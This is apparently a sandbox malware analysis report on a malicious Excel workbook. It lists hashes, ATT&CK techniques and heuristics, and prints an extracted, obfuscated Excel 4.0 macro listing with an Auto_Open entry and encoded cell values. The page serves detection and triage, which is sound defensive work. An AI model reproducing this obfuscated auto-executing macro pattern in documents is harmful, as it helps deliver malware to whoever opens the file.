Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b012b069f7616e9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:53 Authoring application: Microsoft Excel First seen: 2021-09-13
MD5: 1cc90161fdb19aefccfc572c01f3ee8e SHA-1: 9f5998bcbc8138699ade1c513c7315e5d194a304 SHA-256: 8b012b069f7616e96b74b494d5ac266ce9426a91920f5806fa9d4293cd8eb623
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open entry, which is a known method for executing malicious code within older Excel versions. The presence of dangerous formula APIs like RUN in the Auto_Open function indicates an intent to execute arbitrary commands or download further payloads. The macro sheet itself contains obfuscated strings and potentially executable code, but without further deobfuscation or network analysis, the exact payload and its destination remain unknown.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6572 bytes
SHA-256: e3e824fab79f4af505b6d07bf8b8d05ec3b97eec0cd84f48a8e64d38a3ece7d6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ODPV
' 0018     25 LABEL : Cell Value, String Constant - AuhXgkhvTp len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H164 
' 0018     22 LABEL : Cell Value, String Constant - bGRInwm len=0 
' 0018     20 LABEL : Cell Value, String Constant - BhzkP len=0 
' 0018     23 LABEL : Cell Value, String Constant - bMyvkXpZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - bpJYZv len=0 
' 0018     25 LABEL : Cell Value, String Constant - cLZnTKvaWU len=0 
' 0018     26 LABEL : Cell Value, String Constant - CtniifCBJmm len=0 
' 0018     24 LABEL : Cell Value, String Constant - dCCHTJSAh len=0 
' 0018     24 LABEL : Cell Value, String Constant - DXLXagNOn len=0 
' 0018     23 LABEL : Cell Value, String Constant - EWdwqPmC len=0 
' 0018     26 LABEL : Cell Value, String Constant - fNUsvrexccJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - gVTyHufJE len=0 
' 0018     21 LABEL : Cell Value, String Constant - IvHbNm len=0 
' 0018     26 LABEL : Cell Value, String Constant - JuIERwmjTyw len=0 
' 0018     26 LABEL : Cell Value, String Constant - JVAURfwihTW len=0 
' 0018     22 LABEL : Cell Value, String Constant - mjRgQZs len=0 
' 0018     22 LABEL : Cell Value, String Constant - mZNwSoK len=0 
' 0018     25 LABEL : Cell Value, String Constant - OTGYJSUxMP len=0 
' 0018     20 LABEL : Cell Value, String Constant - PWcrS len=0 
' 0018     23 LABEL : Cell Value, String Constant - SBeyroAG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ODPV,S62,"",737.00000000000000000000
'  ODPV,S63,"",875.00000000000000000000
'  ODPV,S64,"",-221.00000000000000000000
'  ODPV,S65,"",-53.00000000000000000000
'  ODPV,S66,"",558.00000000000000000000
'  ODPV,H67,"SET.NAME("mZNwSoK",0+VALUE("0"))",""
'  ODPV,S67,"",-92.00000000000000000000
'  ODPV,H71,"SET.NAME("OTGYJSUxMP",mZNwSoK)",""
'  ODPV,H75,"SET.NAME("EWdwqPmC",mZNwSoK)",""
'  ODPV,H77,"SET.NAME("CtniifCBJmm",COUNTA(BhzkP))",""
'  ODPV,H81,"SET.NAME("gVTyHufJE",COUNTA(IvHbNm))",""
'  ODPV,H85,[],""
'  ODPV,H88,"SET.NAME("cLZnTKvaWU","")",""
'  ODPV,H93,"OTGYJSUxMP",""
'  ODPV,H96,"SET.NAME("JVAURfwihTW",HLOOKUP("*",BhzkP,OTGYJSUxMP,FALSE))",""
'  ODPV,H98,"dCCHTJSAh",""
'  ODPV,H101,"SET.NAME("bpJYZv",mZNwSoK)",""
'  ODPV,H103,[],""
'  ODPV,H107,"bpJYZv",""
'  ODPV,H112,"bGRInwm",""
'  ODPV,H117,"JuIERwmjTyw",""
'  ODPV,H122,"fNUsvrexccJ",""
'  ODPV,H126,"SET.NAME("mjRgQZs",VALUE(HLOOKUP("*",IvHbNm,fNUsvrexccJ,FALSE)))",""
'  ODPV,H131,"PWcrS",""
'  ODPV,H136,"cLZnTKvaWU",""
'  ODPV,H140,"EWdwqPmC",""
'  ODPV,H144,NEXT(),""
'  ODPV,H146,"DXLXagNOn",""
'  ODPV,H149,[],""
'  ODPV,H153,"SBeyroAG",""
'  ODPV,H155,NEXT(),""
'  ODPV,H160,RETURN(),""
'  ODPV,H191,"SET.NAME("AuhXgkhvTp",H67)",""
'  ODPV,H196,"BhzkP",""
'  ODPV,H198,"SET.NAME("IvHbNm",R65C11)",""
'  ODPV,H203,"SET.NAME("SBeyroAG",210)",""
'  ODPV,H207,"SET.NAME("bMyvkXpZ",8)",""
'  ODPV,H209,AuhXgkhvTp(),""
'  ODPV,H210,HALT(),""